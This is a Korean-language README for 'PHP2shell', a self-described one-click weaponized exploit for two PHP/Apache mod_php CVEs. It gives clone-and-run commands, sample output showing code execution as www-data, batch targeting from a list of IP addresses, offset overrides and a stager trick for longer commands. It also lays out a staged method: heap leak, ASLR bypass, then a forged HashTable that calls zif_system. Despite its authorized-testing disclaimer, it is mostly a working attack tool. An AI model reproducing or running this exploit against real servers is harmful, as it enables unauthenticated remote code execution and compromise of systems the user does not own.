
CVE-2026-109618 및 CVE-2026-109619에 대한 원클릭 익스플로잇 PoC로, 취약한 PHP + Apache mod_php(prefork) 대상을 공격합니다.
CVE-2026-109618 및 CVE-2026-109619에 대한 원클릭 무기화 PoC
취약한 PHP + Apache mod_php (prefork) 배포 환경을 대상으로 합니다.
⚠️ 경고: 이 도구는 오직 승인된 보안 테스트, CTF, 교육적 연구 목적으로만 제공됩니다. 소유하지 않았거나 명시적인 테스트 허가를 받지 않은 인프라에 대해 사용하지 마십시오. 저자는 오용에 대해 어떠한 책임도 지지 않습니다.
PHP2shell은 Apache mod_php prefork 환경 내의 PHP 코어를 대상으로 하는 다단계 메모리 손상 익스플로잇입니다.
OOM(Out-Of-Memory) 처리와 영속 워커에 남아 있는 요청 소유 상태를 악용함으로써, 이 익스플로잇은 ASLR(주소 공간 배치 무작위화)을 우회하고 내부 힙 및 libphp.so 포인터를 유출하며 PHP 구조체를 위조하여 인증 없는 원격 코드 실행(RCE) 을 달성합니다.
bookworm (기본값): Debian Bookworm의 공식 php:8.4.26-apache Docker 이미지.lab: 커스텀 랩 빌드 (PHP 8.4.26, Apache 2.4.68, Debian 12, gcc 12).몇 초 만에 실행할 수 있습니다.
git clone https://github.com/0xgh057r3c0n/PHP2shell.git
cd PHP2shell
chmod +x php2shell.py
python3 php2shell.py -u http://127.0.0.1:8088/index.php
$ python3 php2shell.py -u http://target.local/index.php
.__ ________ .__ .__ .__
______ | |__ ______ \_____ \ _____| |__ ____ | | | |
\____ \| | \\____ \ / ____/ / ___/ | \_/ __ \| | | |
| |_> > Y \ |_> > \ \___ \| Y \ ___/| |_| |__
| __/|___| / __/\_______ \/____ >___| /\___ >____/____/
|__| \/|__| \/ \/ \/ \/
php2shell — CVE-2026-109618 / CVE-2026-109619
CVSS v4.0: 9.2 Critical
author: 0xgh057r3c0n
[*] target http://target.local/index.php (cmd='id>/out/p1')
[*] offsets: zif=0x690d8 dtor=0x613c50 htdata=0x690d8
[*] rotating worker over HTTP
[*] stage 1: heap leak (attempt 1/3)
[+] chunk base = 0x7f8a40000000
[*] rotating worker over HTTP
[*] stage 2: libphp leak (attempt 1/3)
[+] libphp base = 0x7f8a12345000
[*] rotating worker over HTTP
[*] stage 3: HTDATA=0x7f8a40690d8 ZIF=0x7f8a123a9a870
[+] W3 attempt 1
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
167바이트 캐리어 크기 때문에 명령 길이는 14바이트로 엄격히 제한됩니다. 더 긴 페이로드를 실행하려면 짧은 스테이저를 사용하세요:
python3 php2shell.py -u http://target.local/index.php -c 'sh</out/c'
targets.txt 파일을 생성하세요:
http://10.0.0.1/index.php
https://10.0.0.2/index.php
target.local
모든 대상에 대해 익스플로잇을 순차적으로 실행합니다:
python3 php2shell.py -t targets.txt
오프셋을 수동으로 추출했거나 사용자 지정 빌드를 대상으로 하는 경우, 직접 전달하세요:
python3 php2shell.py -u http://target.local/index.php \
--zif-offset 0x43A870 \
--dtor-offset 0x613C50 \
--htdata-offset 0x690D8
로컬 파일을 확인하는 대신, HTTP를 통해 파일을 가져와 익스플로잇이 RCE를 검증하도록 강제합니다:
python3 php2shell.py -u http://target.local/index.php \
-c 'id>/out/p1' \
--proof-file '' \
--fetch /out/p1
| 인수 | 설명 |
|---|---|
-u, --url | 대상 PHP 페이지 URL |
-t, --target-file | 한 줄에 하나의 대상 URL이 포함된 파일 |
-c, --cmd | 실행할 명령 (최대 14바이트) |
--proof-file | 확인할 로컬 증명 파일 (기본값: out/p1) |
--fetch | 원격으로 익스플로잇을 검증할 GET 경로 |
--profile | 대상 프로필: bookworm (기본값) 또는 lab |
--zif-offset | libphp.so 내 zif_system의 오프셋 |
--dtor-offset | libphp.so 내 ZVAL_PTR_DTOR의 오프셋 |
--htdata-offset | 167바이트 문자열의 청크 기준 오프셋 |
--retries | 누출 단계별 시도 횟수 (기본값: 3) |
--no-color | ANSI 색상 비활성화 |
| Stage 0 | 워커 교체: 과도한 크기의 요청을 전송하여 Apache prefork가 현재 워커를 중단하고 깨끗한 힙을 가진 새 자식 프로세스를 포크하도록 강제합니다. |
| Stage 1 | 힙 누출: OOM 손상을 유발하여 모듈 전역 포인터가 해제된 메모리를 참조하게 만듭니다. 스프레이된 폼 필드가 위조된 zend_string으로 해당 슬롯을 재점유하여 Set-Cookie를 통해 힙 포인터를 누출합니다. |
| Stage 2 | ASLR 우회: libphp.so에서 zval_ptr_dtor 포인터를 누출합니다. 알려진 DTOR_OFFSET을 빼면 라이브러리 베이스 주소가 드러납니다. |
| Stage 3 | RCE: 가짜 HashTable을 위조하고 pDestructor를 libphp_base + ZIF_OFFSET으로 설정합니다. PHP의 정리 루틴이 귀하의 명령으로 zif_system을 호출합니다. |
MIT License에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE를 참조하세요.
0xgh057r3c0n이(가) 🔥를 담아 제작했습니다.